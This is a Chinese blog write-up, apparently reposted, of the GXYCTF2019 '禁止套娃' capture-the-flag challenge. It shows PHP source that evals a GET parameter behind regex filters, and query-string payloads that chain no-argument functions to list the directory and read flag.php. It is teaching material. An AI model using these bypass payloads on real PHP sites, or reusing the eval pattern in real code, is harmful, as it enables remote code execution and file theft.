博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
[GXYCTF2019]禁止套娃
阅读量:4026 次
发布时间:2019-05-24

本文共 1346 字,大约阅读时间需要 4 分钟。

这个题目主要是无参数RCE,看到题目人都傻了,看了一下大佬的博客差不多懂了。

首先用御剑扫一下,得到了Git泄露的线索。git一下得到源码:

";if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); }}// highlight_file(__FILE__);?>

首先是 isset($_GET['exp'])判空,所不为空则执行下面的语句。

然后是if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {

这里过滤了几个伪协议,防止用伪协议读取文件。

接着是if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {

(?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。

最后是if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {

正则匹配掉了et/na/info等关键字,很多函数都用不了。

然后执行一下eval得到flag。

首先利用scandir(.)函数得到当前目录下的文件并用print_r()函数输出。localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.

?exp=print_r(scandir(pos(localeconv())));

然后利用array_reverse()函数将数组逆序,并利用highlight_file()函数进行高亮。

?exp=print_r(next(array_reverse(scandir(pos(localeconv())))));    #得到flag.php?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));    #得到flag

转载地址:http://expbi.baihongyu.com/

你可能感兴趣的文章
[LeetCode By Python] 2 Add Two Number
查看>>
python 中的 if __name__=='__main__' 作用
查看>>
机器学习实战之决策树二
查看>>
[LeetCode By Python]7 Reverse Integer
查看>>
[LeetCode By Python]9. Palindrome Number
查看>>
[leetCode By Python] 14. Longest Common Prefix
查看>>
[LeetCode By Python]107. Binary Tree Level Order Traversal II
查看>>
[LeetCode By Python]108. Convert Sorted Array to Binary Search Tree
查看>>
[leetCode By Python]111. Minimum Depth of Binary Tree
查看>>
[LeetCode By Python]118. Pascal's Triangle
查看>>
[LeetCode By Python]121. Best Time to Buy and Sell Stock
查看>>
[LeetCode By Python]122. Best Time to Buy and Sell Stock II
查看>>
[LeetCode By Python]125. Valid Palindrome
查看>>
[LeetCode By Python]136. Single Number
查看>>
[LeetCode By Python]167. Two Sum II - Input array is sorted
查看>>
[LeetCode BY Python]169. Majority Element
查看>>
[LeetCode By Python]172. Factorial Trailing Zeroes
查看>>
[LeetCode By MYSQL] Combine Two Tables
查看>>
python jieba分词模块的基本用法
查看>>
[CCF BY C++]2017.12 最小差值
查看>>